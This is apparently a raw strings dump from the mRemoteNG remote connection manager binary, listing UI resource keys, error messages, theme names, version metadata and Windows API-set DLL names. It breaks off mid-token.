PuttyConfFileReader.LoadConfiguration() failed. SessionFileReader.LoadSessionInfo() failed. ConnectionId The server was not found Cannot open database Login failed for user settings localSettings globalSettings PortableSettingsProvider Software\SimonTatham\PuTTY\Sessions {0} [registry] (.*)\ \[registry\] tblCons http://www.mremoteng.org/ http://donate.mremoteng.org/ https://www.reddit.com/r/mRemoteNG/ http://bugs.mremoteng.org/ Stable Beta Development update-portable.txt beta-update-portable.txt dev-update-portable.txt update.txt beta-update.txt dev-update.txt Version CertificateThumbprint Checksum Button_Background Button_BorderY Button_Disabled_Background Button_Disabled_Border Button_Disabled_Foreground Button_Foreground Button_Hover_Background Button_Hover_Border Button_Hover_Foreground Button_Pressed_Background Button_Pressed_Border Button_Pressed_Foreground CheckBox_Background CheckBox_Border CheckBox_Border_Disabled CheckBox_Border_Hover CheckBox_Border_Pressed CheckBox_Glyph CheckBox_Glyph_Disabled CheckBox_Text CheckBox_Text_Disabled ComboBox_Background ComboBox_Border ComboBox_Button_Background ComboBox_Button_Border ComboBox_Button_Foreground ComboBox_Button_MouseOver_Background ComboBox_Button_MouseOver_Border ComboBox_Button_MouseOver_Foreground ComboBox_Button_Pressed_Background ComboBox_Button_Pressed_Foreground ComboBox_Disabled_Background ComboBox_Disabled_Foreground ComboBox_Foreground ComboBox_MouseOver_Border ComboBox_PopUp ComboBox_PopUp_Border CommandBarMenuDefault_Background CommandBarMenuDefault_Foreground Dialog_Background Dialog_Foreground ErrorText_Background ErrorText_Foreground GroupBox_Backgorund GroupBox_Disabled_Background GroupBox_Disabled_Foreground GroupBox_Disabled_Line GroupBox_Foreground GroupBox_Line List_Background List_Header_Background List_Header_Foreground List_Item_Background List_Item_Border List_Item_Disabled_Background List_Item_Disabled_Border List_Item_Disabled_Foreground List_Item_Foreground List_Item_Selected_Background List_Item_Selected_Border List_Item_Selected_Foreground ProgressBar_Background ProgressBar_Fill ProgressBar_Fill_Critical ProgressBar_Fill_Warning Tab_Background Tab_Item_Background Tab_Item_Disabled_Background Tab_Item_Disabled_Foreground Tab_Item_Foreground TextBox_Background TextBox_Border TextBox_Border_Disabled TextBox_Border_Focused TextBox_Disabled_Background TextBox_Disabled_Foreground TextBox_Focused_Background TextBox_Focused_Foreground TextBox_Foreground TreeView_Background TreeView_Foreground Treeview_SelectedItem_Active_Background Treeview_SelectedItem_Active_Foreground Treeview_SelectedItem_Inactive_Background Treeview_SelectedItem_Inactive_Foreground WarningText_Background WarningText_Foreground $this.Icon $this.PageIcon AutomaticReconnectError ChangeConnectionResolutionError? ConfigurationCreateNew ConfigurationCustomPath ConfigurationImportFile ConnectionFileNotFound ConnectionSuccessful CouldNotFindExternalTool CredentialUnavailable Credentials DatabaseNotAvailable FilterSearchMatchesInConnectionTree IncorrectPassword LoadBalanceInfoUseUtf8 LoginFailedForUser PromptUnlockCredReposOnStartup RepositoryIsUnlocked SaveConnectionsAfterEveryEdit ServerNotAccessible Source TestConnection TestingConnection Unlock UnlockCredentialRepository Unlocking srtWorkingDirectory strAbout strAccept strActive strActiveDirectory strActivity strAdd strAddConnection strAddFolder strAddNodeFromXmlFailed strAddNodesFromSqlFailed strAdvancedSecurityOptions strAllowOnlySingleInstance strAlways strAlwaysConnectEvenIfAuthFails strAlwaysShowPanelSelection strAlwaysShowPanelTabs strAlwaysShowSysTrayIcon strAskUpdatesCommandAskLater strAskUpdatesCommandCustom strAskUpdatesCommandRecommended strAskUpdatesContent strAskUpdatesMainInstruction strAspect strAssignedCredential strAutoSaveEvery strAutoSaveMins strAutomaticallyGetSessionInfo strAvailableVersion strBack strButtonBrowse strButtonCancel strButtonChange strButtonClose strButtonDefaultInheritance strButtonDefaultProperties strButtonDisconnect strButtonIcon strButtonImport strButtonInheritance strButtonLaunch strButtonLaunchPutty strButtonNew strButtonOK strButtonProperties strButtonScan strButtonStop strButtonTestProxy strCannotImportNormalSessionFile strCannotStartPortScan strCategoryAppearance strCategoryConnection strCategoryCredentials strCategoryDisplay strCategoryGateway strCategoryGeneral strCategoryMiscellaneous strCategoryProtocol strCategoryRedirect strCcAlwaysShowScreen strCcCheckAgain strCcCheckFailed strCcCheckSucceeded strCcEOLFailed strCcEOLOK strCcGeckoFailed strCcGeckoOK strCcICAFailed strCcICAOK strCcNotInstalledProperly strCcPuttyFailed strCcPuttyOK strCcRDPFailed strCcRDPOK strCcVNCFailed strCcVNCOK strCheckForUpdate strCheckForUpdatesOnStartup strCheckNow strCheckProperInstallationOfComponentsAtStartup strCheckboxAutomaticReconnect strCheckboxDoNotShowThisMessageAgain strCheckboxDomain strCheckboxInheritance strCheckboxPassword strCheckboxProxyAuthentication strCheckboxPuttyPath strCheckboxReconnectWhenReady strCheckboxUpdateUseProxy strCheckboxUsername strCheckboxWaitForExit strChooseLogPath strChoosePanelBeforeConnecting strChoosePath strClosedPorts strCollapseAllFolders strColumnArguments strColumnDisplayName strColumnFilename strColumnHostnameIP strColumnMessage strColumnUsername strColumnWaitForExit strCommandExitProgram strCommandLineArgsCouldNotBeParsed strCommandOpenConnectionFile strCommandTryAgain strCompatibilityLenovoAutoScrollUtilityDetected strCompatibilityProblemDetected strComponentsCheck strConfigPropertyGridButtonIconClickFailed strConfigPropertyGridHideItemsFailed strConfigPropertyGridMenuClickFailed strConfigPropertyGridObjectFailed strConfigPropertyGridSetHostStatusFailed strConfigPropertyGridValueFailed strConfigUiLoadFailed strConfirmCloseConnectionMainInstruction strConfirmCloseConnectionPanelMainInstruction strConfirmDeleteCredentialRecord strConfirmDeleteExternalTool strConfirmDeleteExternalToolMultiple strConfirmDeleteNodeConnection strConfirmDeleteNodeFolder strConfirmDeleteNodeFolderNotEmpty strConfirmExitMainInstruction strConfirmResetLayout strConnect strConnectInFullscreen strConnectNoCredentials strConnectToConsoleSession strConnectWithOptions strConnecting strConnectionEventConnected strConnectionEventConnectedDetail strConnectionEventConnectionFailed strConnectionEventErrorOccured strConnectionFilePath strConnectionOpenFailed strConnectionOpenFailedNoHostname strConnectionRdpErrorDetail strConnectionSetDefaultPortFailed strConnections strConnectionsFileBackupFailed strConnectionsFileCouldNotBeImported strConnectionsFileCouldNotBeLoaded strConnectionsFileCouldNotBeLoadedNew strConnectionsFileCouldNotBeSaved strConnectionsFileCouldNotSaveAs strConnenctionCloseEvent strConnenctionCloseEventFailed strConnenctionClosedByUser strConnenctionClosedByUserDetail strCouldNotCreateNewConnectionsFile strCouldNotFindToolStripInFilteredPropertyGrid strCreateAndOpenNewFile strCreateEmptyPanelOnStartUp strCredentialEditor strCredentialManager strCredentialManagerUpgradeDescription strCurrentVersion strDebug strDefaultTheme strDelete strDetect strDontConnectToConsoleSessionMenuItem strDontConnectWhenAuthFails strDoubleClickTabClosesIt strDownloadAndInstall strDownloadPortable strDuplicate strEmptyPasswordContinue strEmptyUsernamePasswordDomainFields strEnc128Bit strEnc128BitLogonOnly strEnc40Bit strEnc56Bit strEncBasic strEncryptCompleteConnectionFile strEncryptionBlockCipherMode strEncryptionEngine strEncryptionKeyDerivationIterations strEndIP strEndPort strErrorAddExternalToolsToToolBarFailed strErrorAddFolderFailed strErrorBadDatabaseVersion strErrorCloneNodeFailed strErrorCode strErrorConnectionListSaveFailed strErrorCouldNotLaunchPutty strErrorDecryptionFailed strErrorEncryptionFailed strErrorFipsPolicyIncompatible strErrorStartupConnectionFileLoad strErrorVerifyDatabaseVersionFailed strErrors strExpandAllFolders strExperimental strExport strExportEverything strExportFile strExportItems strExportProperties strExportSelectedConnection strExportSelectedFolder strExportToFileMenuItem strExportmRemoteXML strExtApp strExternalToolDefaultName strFAMFAMFAMAttribution strFAMFAMFAMAttributionURL strFileFormatLabel strFilterAll strFilterAllImportable strFilterApplication strFilterPuttyConnectionManager strFilterRDP strFilterRdgFiles strFiltermRemoteCSV strFiltermRemoteXML strFiltervRD2008CSV strFindMatchingCredentialFailed strFormatInherit strFormatInheritDescription strFree strFullscreen strGeneral strGetConnectionInfoFromSqlFailed strGetConnectionInfoFromXmlFailed strGroupboxAutomaticReconnect strGroupboxConnection strGroupboxExternalToolProperties strGroupboxFiles strHost strHttp strHttpConnectFailed strHttpConnectionFailed strHttpDocumentTileChangeFailed strHttpGecko strHttpInternetExplorer strHttpSetPropsFailed strHttps strHttpsInsecureAllowAlways strHttpsInsecureAllowOnce strHttpsInsecureDontAllow strHttpsInsecurePrompt strHttpsInsecurePromptTitle strICA strID strIPRange strIcaConnectionFailed strIcaControlFailed strIcaSetCredentialsFailed strIcaSetEventHandlersFailed strIcaSetPropsFailed strIcaSetResolutionFailed strIdentifyQuickConnectTabs strImportAD strImportExport strImportFileFailedContent strImportFileFailedMainInstruction strImportFromFileMenuItem strImportLocationCommandButtons strImportLocationContent strImportLocationMainInstruction strImportMenuItem strImportPortScan strImportRDPFiles strImportSubOUs strImportmRemoteXML strInactive strInformations strInheritNewConnection strIntAppConnectionFailed strIntAppDisposeFailed strIntAppFocusFailed strIntAppHandle strIntAppKillFailed strIntAppParentHandle strIntAppResizeFailed strIntAppStuff strIntAppTitle strKeysCtrlAltDel strKeysCtrlEsc strLabelAddress strLabelArguments strLabelChangeLog strLabelClosingConnections strLabelConnect strLabelDisplayName strLabelDomain strLabelFilename strLabelHostname strLabelOptions strLabelPassword strLabelPort strLabelPortableEdition strLabelProtocol strLabelPuttySessionsConfig strLabelPuttyTimeout strLabelReadOnly strLabelReleasedUnderGPL strLabelSQLDatabaseName strLabelSQLServerDatabaseName strLabelSeconds strLabelSelectPanel strLabelServerStatus strLabelUsername strLabelVerify strLanguage strLanguageDefault strLanguageRestartRequired strLoadBalanceInfoUseUtf8 strLoadFromSqlFailed strLoadFromSqlFailedContent strLoadFromXmlFailed strLocalFile strLocalFileDoesNotExist strLockToolbars strLogFilePath strLogOff strLogTheseMessageTypes strLogToAppDir strLogWriteToFileFailed strLogWriteToFileFinalLocationFailed strLogging strMagicLibraryAttribution strMagicLibraryAttributionURL strMenuAbout strMenuAddConnectionPanel strMenuCheckForUpdates strMenuConfig strMenuConnect strMenuConnectionPanels strMenuConnections strMenuConnectionsAndConfig strMenuCopy strMenuCtrlAltDel strMenuCtrlEsc strMenuDelete strMenuDeleteConnection strMenuDeleteExternalTool strMenuDeleteFolder strMenuDisconnect strMenuDonate strMenuDuplicate strMenuDuplicateConnection strMenuDuplicateFolder strMenuDuplicateTab strMenuExit strMenuExternalTools strMenuExternalToolsToolbar strMenuFile strMenuFullScreen strMenuFullScreenRDP strMenuHelp strMenuHelpContents strMenuJumpTo strMenuLaunchExternalTool strMenuLockToolbars strMenuMultiSshToolbar strMenuNewConnectionFile strMenuNewExternalTool strMenuNotifications strMenuNotificationsCopyAll strMenuNotificationsDelete strMenuNotificationsDeleteAll strMenuOpenConnectionFile strMenuOptions strMenuPaste strMenuPortScan strMenuQuickConnectToolbar strMenuReconnect strMenuReconnectAll strMenuRefreshScreen strMenuRename strMenuRenameConnection strMenuRenameFolder strMenuRenameTab strMenuReportBug strMenuResetLayout strMenuSSHFileTransfer strMenuSaveConnectionFile strMenuSaveConnectionFileAs strMenuScreenshot strMenuScreenshotManager strMenuSendSpecialKeys strMenuSessionRetrieve strMenuSessions strMenuSessionsAndScreenshots strMenuShowHelpText strMenuShowText strMenuSmartSize strMenuStartChat strMenuSupportForum strMenuTools strMenuTransferFile strMenuView strMenuViewOnly strMenuWebsite strMinimizeToSysTray strMoveDown strMoveUp strMremoteNgCsv strMremoteNgXml strMultiSshToolbar strMyCurrentWindowsCreds strNever strNewConnection strNewFolder strNewPanel strNewRoot strNewTitle strNo strNoCompression strNoExtAppDefined strNoInformation strNoSmartSize strNoUpdateAvailable strNodeAlreadyInFolder strNodeCannotDragOnSelf strNodeCannotDragParentOnChild strNodeNotDraggable strNone strNormal strOldConffile strOpenADifferentFile strOpenFile strOpenNewTabRight strOpenPorts strOptionsKeyboardButtonDelete strOptionsKeyboardButtonNew strOptionsKeyboardButtonReset strOptionsKeyboardButtonResetAll strOptionsKeyboardCommandsGroupTabs strOptionsKeyboardCommandsNextTab strOptionsKeyboardCommandsPreviousTab strOptionsKeyboardGroupModifyShortcut strOptionsKeyboardLabelKeyboardShortcuts strOptionsPageTitle strOptionsProxyTesting strOptionsTabKeyboard strOptionsTabTheme strOptionsThemeButtonDelete strOptionsThemeButtonNew strOptionsThemeDeleteConfirmation strOptionsThemeEnableTheming strOptionsThemeErrorNoThemes strOptionsThemeNewThemeCaption strOptionsThemeNewThemeError strOptionsThemeNewThemeText strOptionsThemeThemeChaangeWarning strOutOfRange strPanelName strPasswordConstainsSpecialCharactersConstraintHint strPasswordContainsLowerCaseConstraintHint strPasswordContainsNumbersConstraint strPasswordContainsUpperCaseConstraintHint strPasswordLengthConstraintHint strPasswordProtect strPasswordStatusMustMatch strPasswordStatusTooShort strPleaseFillAllFields strPopups strPortScanComplete strPortScanCouldNotLoadPanel strPropertiesWillOnlyBeSavedMRemoteXML strPropertyDescriptionAddress strPropertyDescriptionAll strPropertyDescriptionAuthenticationLevel strPropertyDescriptionAuthenticationMode strPropertyDescriptionAutomaticResize strPropertyDescriptionCacheBitmaps strPropertyDescriptionColors strPropertyDescriptionCompression strPropertyDescriptionCredential strPropertyDescriptionDescription strPropertyDescriptionDisplayThemes strPropertyDescriptionDisplayWallpaper strPropertyDescriptionDomain strPropertyDescriptionEnableDesktopComposition strPropertyDescriptionEnableFontSmoothing strPropertyDescriptionEncoding strPropertyDescriptionEncryptionStrength strPropertyDescriptionExternalTool strPropertyDescriptionExternalToolAfter strPropertyDescriptionExternalToolBefore strPropertyDescriptionIcon strPropertyDescriptionLoadBalanceInfo strPropertyDescriptionMACAddress strPropertyDescriptionName strPropertyDescriptionPanel strPropertyDescriptionPassword strPropertyDescriptionPort strPropertyDescriptionProtocol strPropertyDescriptionPuttySession strPropertyDescriptionRDGatewayDomain strPropertyDescriptionRDGatewayHostname strPropertyDescriptionRDGatewayUsageMethod strPropertyDescriptionRDGatewayUseConnectionCredentials strPropertyDescriptionRDGatewayUsername strPropertyDescriptionRDPAlertIdleTimeout strPropertyDescriptionRDPMinutesToIdleTimeout strPropertyDescriptionRedirectDrives strPropertyDescriptionRedirectKeys strPropertyDescriptionRedirectPorts strPropertyDescriptionRedirectPrinters strPropertyDescriptionRedirectSmartCards strPropertyDescriptionRedirectSounds strPropertyDescriptionRenderingEngine strPropertyDescriptionResolution strPropertyDescriptionSmartSizeMode strPropertyDescriptionSoundQuality strPropertyDescriptionUseConsoleSession strPropertyDescriptionUseCredSsp strPropertyDescriptionUser1 strPropertyDescriptionUsername strPropertyDescriptionVNCProxyAddress strPropertyDescriptionVNCProxyPassword strPropertyDescriptionVNCProxyPort strPropertyDescriptionVNCProxyType strPropertyDescriptionVNCProxyUsername strPropertyDescriptionViewOnly strPropertyNameAddress strPropertyNameAll strPropertyNameAuthenticationLevel strPropertyNameAuthenticationMode strPropertyNameAutomaticResize strPropertyNameCacheBitmaps strPropertyNameColors strPropertyNameCompression strPropertyNameDescription strPropertyNameDisplayThemes strPropertyNameDisplayWallpaper strPropertyNameDomain strPropertyNameEnableDesktopComposition strPropertyNameEnableFontSmoothing strPropertyNameEncoding strPropertyNameEncryptionStrength strPropertyNameExternalTool strPropertyNameExternalToolAfter strPropertyNameExternalToolBefore strPropertyNameIcon strPropertyNameLoadBalanceInfo strPropertyNameMACAddress strPropertyNameName strPropertyNamePanel strPropertyNamePassword strPropertyNamePort strPropertyNameProtocol strPropertyNamePuttySession strPropertyNameRDGatewayDomain strPropertyNameRDGatewayHostname strPropertyNameRDGatewayPassword strPropertyNameRDGatewayUsageMethod strPropertyNameRDGatewayUseConnectionCredentials strPropertyNameRDGatewayUsername strPropertyNameRDPAlertIdleTimeout strPropertyNameRDPMinutesToIdleTimeout strPropertyNameRedirectDrives strPropertyNameRedirectKeys strPropertyNameRedirectPorts strPropertyNameRedirectPrinters strPropertyNameRedirectSmartCards strPropertyNameRedirectSounds strPropertyNameRenderingEngine strPropertyNameResolution strPropertyNameSmartSizeMode strPropertyNameSoundQuality strPropertyNameUseConsoleSession strPropertyNameUseCredSsp strPropertyNameUser1 strPropertyNameUsername strPropertyNameVNCProxyAddress strPropertyNameVNCProxyPassword strPropertyNameVNCProxyPort strPropertyNameVNCProxyType strPropertyNameVNCProxyUsername strPropertyNameViewOnly strProtocolEventDisconnectFailed strProtocolEventDisconnected strProtocolToImport strProxyTestFailed strProxyTestSucceeded strPuttyConnectionFailed strPuttyDisposeFailed strPuttyFocusFailed strPuttyGetSessionsFailed strPuttyHandle strPuttyKillFailed strPuttyParentHandle strPuttyResizeFailed strPuttySavedSessionsRootName strPuttySessionSettings strPuttySettings strPuttyShowSettingsDialogFailed strPuttyStartFailed strPuttyStuff strPuttyTitle strQuick strQuickConnect strQuickConnectAddFailed strQuickConnectFailed strRAW strRDP strRDP16777216Colors strRDP256Colors strRDP32768Colors strRDP4294967296Colors strRDP65536Colors strRDPDisableCursorShadow strRDPDisableCursorblinking strRDPDisableFullWindowdrag strRDPDisableMenuAnimations strRDPDisableThemes strRDPDisableWallpaper strRDPFitToPanel strRDPOverallConnectionTimeout strRDPSmartSize strRDPSoundBringToThisComputer strRDPSoundDoNotPlay strRDPSoundLeaveAtRemoteComputer strRDPSoundQualityDynamic strRDPSoundQualityHigh strRDPSoundQualityMedium strRadioCloseWarnAll strRadioCloseWarnExit strRadioCloseWarnMultiple strRadioCloseWarnNever strRdpAddResolutionFailed strRdpAddResolutionsFailed strRdpAddSessionFailed strRdpCloseConnectionFailed strRdpControlCreationFailed strRdpDisconnectFailed strRdpDisconnected strRdpErrorCode1 strRdpErrorCode2 strRdpErrorCode3 strRdpErrorCode4 strRdpErrorConnection strRdpErrorGetFailure strRdpErrorGetUnknown strRdpErrorOutOfMemory strRdpErrorUnknown strRdpErrorWindowCreation strRdpErrorWinsock strRdpFileCouldNotBeImported strRdpFocusFailed strRdpGatewayIsSupported strRdpGatewayNotSupported strRdpGetSessionsFailed strRdpReconnectCount strRdpSetAuthenticationLevelFailed strRdpSetConsoleSessionFailed strRdpSetConsoleSwitch strRdpSetCredentialsFailed strRdpSetEventHandlersFailed strRdpSetGatewayFailed strRdpSetPerformanceFlagsFailed strRdpSetPortFailed strRdpSetPropsFailed strRdpSetRedirectKeysFailed strRdpSetRedirectionFailed strRdpSetResolutionFailed strRdpToggleFullscreenFailed strRdpToggleSmartSizeFailed strReconnectAllConnections strReconnectAtStartup strRefresh strRemoteFile strRemove strRemoveAll strRename strRlogin strRunElevateHeader strRunElevated strSQLInfo strSQLServer strSSHStartTransferBG strSSHTranferSuccessful strSSHTransferEndFailed strSSHTransferFailed strSave strSaveAll strSaveConnectionsFileBeforeOpeningAnother strSaveConsOnExit strSaveImageFilter strScreen strScreenshot strScreenshots strSearchPrompt strSendTo strSessionGetFailed strSessionKillFailed strSetHostnameLikeDisplayName strSettingMainFormTextFailed strSettingsCouldNotBeSavedOrTrayDispose strShowDescriptionTooltips strShowFullConsFilePath strShowLogonInfoOnTabs strShowOnToolbar strShowOnToolbarColumnHeader strShowProtocolOnTabs strShowTheseMessageTypes strSingleClickOnConnectionOpensIt strSingleClickOnOpenConnectionSwitchesToIt strSmartSizeModeAspect strSmartSizeModeFree strSmartSizeModeNone strSocks5 strSort strSortAsc strSortDesc strSpecialKeys strSqlUpdateCheckUpdateAvailable strSsh1 strSsh2 strStartIP strStartPort strStartupExit strStatus strSwitchToErrorsAndInfos strTabAdvanced strTabAppearance strTabSecurity strTabUpdates strTabsAndPanels strTelnet strTheFollowing strThemeCategoryConfigPanel strThemeCategoryConnectionsPanel strThemeCategoryGeneral strThemeDescriptionConfigPanelBackgroundColor strThemeDescriptionConfigPanelCategoryTextColor strThemeDescriptionConfigPanelGridLineColor strThemeDescriptionConfigPanelHelpBackgroundColor strThemeDescriptionConfigPanelHelpTextColor strThemeDescriptionConfigPanelTextColor strThemeDescriptionConnectionsPanelBackgroundColor strThemeDescriptionConnectionsPanelTextColor strThemeDescriptionConnectionsPanelTreeLineColor strThemeDescriptionMenuBackgroundColor strThemeDescriptionMenuTextColor strThemeDescriptionSearchBoxBackgroundColor strThemeDescriptionSearchBoxTextColor strThemeDescriptionSearchBoxTextPromptColor strThemeDescriptionToolbarBackgroundColor strThemeDescriptionToolbarTextColor strThemeDescriptionWindowBackgroundColor strThemeNameConfigPanelBackgroundColor strThemeNameConfigPanelCategoryTextColor strThemeNameConfigPanelGridLineColor strThemeNameConfigPanelHelpBackgroundColor strThemeNameConfigPanelHelpTextColor strThemeNameConfigPanelTextColor strThemeNameConnectionsPanelBackgroundColor strThemeNameConnectionsPanelTextColor strThemeNameConnectionsPanelTreeLineColor strThemeNameMenuBackgroundColor strThemeNameMenuTextColor strThemeNameSearchBoxBackgroundColor strThemeNameSearchBoxTextColor strThemeNameSearchBoxTextPromptColor strThemeNameToolbarBackgroundColor strThemeNameToolbarTextColor strThemeNameWindowBackgroundColor strTimeoutInSeconds strTitle strTitleError strTitleInformation strTitlePassword strTitlePasswordWithName strTitleSelectPanel strTitleWarning strTransfer strTransferFailed strTryIntegrate strTryToIntegrateColumnHeader strType strUltraVNCSCListeningPort strUltraVNCSingleClick strUltraVncRepeater strUncheckProperties strUnnamedTheme strUpdateAvailable strUpdateCheck strUpdateCheckCompleteFailed strUpdateCheckFailedLabel strUpdateCheckPortableEdition strUpdateCheckingLabel strUpdateDownloadComplete strUpdateDownloadCompleteFailed strUpdateDownloadFailed strUpdateFrequencyCustom strUpdateFrequencyDaily strUpdateFrequencyMonthly strUpdateFrequencyWeekly strUpdateGetChangeLogFailed strUpdatePortableDownloadComplete strUpgrade strUseDefault strUseDifferentUsernameAndPassword strUseSQLServer strUseSameUsernameAndPassword strUseSmartCard strUser strVersion strVnc strVncConnectionDisconnectFailed strVncRefreshFailed strVncSendSpecialKeysFailed strVncSetEventHandlersFailed strVncSetPropsFailed strVncStartChatFailed strVncToggleSmartSizeFailed strVncToggleViewOnlyFailed strWarnIfAuthFails strWarnings strWeifenLuoAttribution strWeifenLuoAttributionURL strWorkingDirColumnHeader strXULrunnerPath strYes ActiveDirectory ActiveDirectory_Icon Appearance_Icon Arrow_Down Arrow_Up Bad_Symbol Chat Collapse ComponentsCheck ComponentsCheck_Icon Config Config_Icon ConnectedOverlay Connection_Add Connection_Duplicate Connections_Load Connections_New Connections_Save Connections_SaveAs Connections_SaveAs_Icon Console Copy Delete Donate ErrorSmall ErrorsAndInfos Expand ExtApp ExtApp_Add ExtApp_Delete ExtApp_Icon ExtApp_Start File Folder Folder_Add Fullscreen Good_Symbol Help Help_Icon HostStatus_Check HostStatus_Off HostStatus_On Info Info_Icon Information InformationSmall Inheritance Inheritance_Default JumpTo Keyboard Lock Logo Monitor Monitor_GoTo News News_Icon Options Options_Icon Page Panel_Add Panel_Close Panels Panels_Icon Pause Play Play_Quick Play_Quick_Icon PortScan PortScan_Icon Properties Properties_Default PuttyConfig PuttySessions Quit RDCMan_Icon Refresh Rename Root Root_Icon SSHTransfer SSHTransfer_Icon Save Save_Icon Screenshot Screenshot_Add Screenshot_Copy Screenshot_Delete Screenshot_Icon Screenshot_Save Search Session_LogOff Sessions Sessions_Icon SmartSize Sort_AZ Sort_ZA StartupExit_Icon Tab_Icon Tools UVNC_SC UVNC_SC_Icon Update Update_Icon View Warning WarningSmall Website _Error _lock application_side_tree arrow_left arrow_out brick cog_error exclamation folder_key% green_arrow1 green_arrow2 keepass_32x32 key_Icon key_add key_delete loading_spinner mRemote mRemote_Icon monitor_delete monitor_go page_copy puttycm shield tick user_comment / P6pL ,/KPip /-P?pR / P6pL ,/KPip /-P?pR / P6pL ,/KPip /-P?pR / P6pL ,/KPip /-P?pR imageList1.ImageStream cmenTabExternalApps.Image cmenTabReconnect.Image $this.Icon btnDisconnect.Image @#;' !@#$%^&* VS_VERSION_INFO VarFileInfo Translation StringFileInfo 000004b0 Comments Multi-protocol remote connections manager CompanyName FileDescription mRemoteNG FileVersion 1.76.20.24615 InternalName mRemoteNG.exe LegalCopyright Copyright 2019 mRemoteNG Dev Team; 2010-2013 Riley McArdle; 2007-2009 Felix Deimel LegalTrademarks OriginalFilename mRemoteNG.exe ProductName mRemoteNG ProductVersion 1.76.20.24615 Assembly Version 1.76.20.24615 ???? !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ printrenderapihost.dllapi-ms-onecoreuap-print-render-l1-1-0kernel.appcore.dllapi-ms-win-appmodel-advertisingid-l1-1-0api-ms-win-appmodel-identity-l1-2-0rmclient.dllapi-ms-win-appmodel-lifecyclepolicy-l1-1-0api-ms-win-appmodel-runtime-l1-1-7api-ms-win-appmodel-runtime-internal-l1-1-11api-ms-win-appmodel-state-l1-2-0api-ms-win-appmodel-state-l1-1-2api-ms-win-appmodel-unlock-l1-1-0windows.media.devices.dllapi-ms-win-audiocore-spatial-config-l1-1-0advapi32.dllapi-ms-win-base-bootconfig-l1-1-0api-ms-win-base-util-l1-1-0dwmredir.dllapi-ms-win-composition-redirection-l1-1-0udwm.dllapi-ms-win-composition-windowmanager-l1-1-0cmclient.dllapi-ms-win-containers-cmclient-l1-5-3api-ms-win-containers-cmclient-l1-4-0api-ms-win-containers-cmclient-l1-3-0api-ms-win-containers-cmclient-l1-2-0api-ms-win-containers-cmclient-l1-1-1api-ms-win-containers-cmdiagclient-l1-1-2api-ms-win-containers-cmservicingclient-l1-2-2api-ms-win-containers-cmservicingclient-l1-1-1ntdll.dllapi-ms-win-core-apiquery-l1-1-2kernelbase.dllapi-ms-win-core-apiquery-l2-1-1api-ms-win-core-appcompat-l1-1-1kernel32.dllapi-ms-win-core-appinit-l1-1-0api-ms-win-core-atoms-l1-1-0api-ms-win-core-backgroundtask-l1-1-0bi.dllapi-ms-win-core-bicltapi-l1-1-6twinapi.appcore.dllapi-ms-win-core-biplmapi-l1-2-0api-ms-win-core-biplmapi-l1-1-5api-ms-win-core-biptcltapi-l1-1-7api-ms-win-core-calendar-l1-1-0combase.dllapi-ms-win-core-com-l1-1-3api-ms-win-core-com-midlproxystub-l1-1-0api-ms-win-core-com-private-l1-3-1api-ms-win-core-com-private-l1-2-0api-ms-win-core-com-private-l1-1-1coml2.dllapi-ms-win-core-com-l2-1-1api-ms-win-core-comm-l1-1-2api-ms-win-core-commandlinetoargv-l1-1-0api-ms-win-core-console-l1-2-2api-ms-win-core-console-l1-1-0api-ms-win-core-console-ansi-l2-1-0api-ms-win-core-console-internal-l1-1-0api-ms-win-core-console-l2-2-0api-ms-win-core-console-l2-1-0api-ms-win-core-console-l3-2-0api-ms-win-core-console-l3-1-0api-ms-win-core-crt-l1-1-0api-ms-win-core-crt-l2-1-0api-ms-win-core-datetime-l1-1-2api-ms-win-core-debug-l1-1-2dbgcore.dllapi-ms-win-core-debug-minidump-l1-1-0api-ms-win-core-delayload-l1-1-1api-ms-win-core-enclave-l1-1-1api-ms-win-core-errorhandling-l1-1-3shcore.dllapi-ms-win-core-featurestaging-l1-1-1api-ms-win-core-featuretoggles-l1-1-0api-ms-win-core-fibers-l1-1-2api-ms-win-core-fibers-l2-1-1api-ms-win-core-file-l1-2-5api-ms-win-core-file-l1-1-1api-ms-win-core-file-ansi-l1-1-0api-ms-win-core-file-ansi-l2-1-0api-ms-win-core-file-fromapp-l1-1-0api-ms-win-core-file-l2-1-4api-ms-win-core-firmware-l1-1-0api-ms-win-core-guard-l1-1-0api-ms-win-core-handle-l1-1-0api-ms-win-core-heap-l1-2-0api-ms-win-core-heap-l1-1-0api-ms-win-core-heap-obsolete-l1-1-0api-ms-win-core-heap-l2-1-0api-ms-win-core-interlocked-l1-2-0api-ms-win-core-interlocked-l1-1-1api-ms-win-core-io-l1-1-1api-ms-win-core-ioring-l1-1-2api-ms-win-core-job-l1-1-0api-ms-win-core-job-l2-1-1api-ms-win-core-kernel32-legacy-l1-1-6api-ms-win-core-kernel32-legacy-ansi-l1-1-0api-ms-win-core-kernel32-private-l1-2-0api-ms-win-core-kernel32-private-l1-1-2api-ms-win-core-lare-registry-private-l1-1-0api-ms-win-core-registry-l2-3-0api-ms-win-core-registry-l2-2-0api-ms-win-core-registry-l2-1-0api-ms-win-core-registryuserspecific-l1-1-0api-ms-win-core-rtlsupport-l1-2-2api-ms-win-core-rtlsupport-l1-1-1api-ms-win-core-shlwapi-legacy-l1-1-0api-ms-win-core-shlwapi-obsolete-l1-2-0api-ms-win-core-shlwapi-obsolete-l1-1-0api-ms-win-core-shutdown-l1-1-1api-ms-win-core-shutdown-ansi-l1-1-0api-ms-win-core-sidebyside-l1-1-0api-ms-win-core-sidebyside-ansi-l1-1-0clipc.dllapi-ms-win-core-slapi-l1-1-0api-ms-win-core-state-helpers-l1-1-0api-ms-win-core-string-l1-1-0api-ms-win-core-string-obsolete-l1-1-1api-ms-win-core-string-l2-1-1api-ms-win-core-stringansi-l1-1-0api-ms-win-core-stringloader-l1-1-1api-ms-win-core-synch-l1-2-1api-ms-win-core-synch-l1-1-1api-ms-win-core-synch-ansi-l1-1-0api-ms-win-core-sysinfo-l1-2-8api-ms-win-core-sysinfo-l1-1-1api-ms-win-core-sysinfo-l2-1-0api-ms-win-core-systemtopology-l1-1-2textinputframework.dllapi-ms-win-core-textinput-client-l1-2-0api-ms-win-core-textinput-client-l1-1-1api-ms-win-core-threadpool-l1-2-0api-ms-win-core-threadpool-l1-1-0api-ms-win-core-threadpool-legacy-l1-1-0api-ms-win-core-threadpool-private-l1-1-0api-ms-win-core-timezone-l1-1-1api-ms-win-core-timezone-private-l1-1-0api-ms-win-core-toolhelp-l1-1-1api-ms-win-core-ums-l1-1-0api-ms-win-core-url-l1-1-0api-ms-win-core-util-l1-1-1api-ms-win-core-version-l1-1-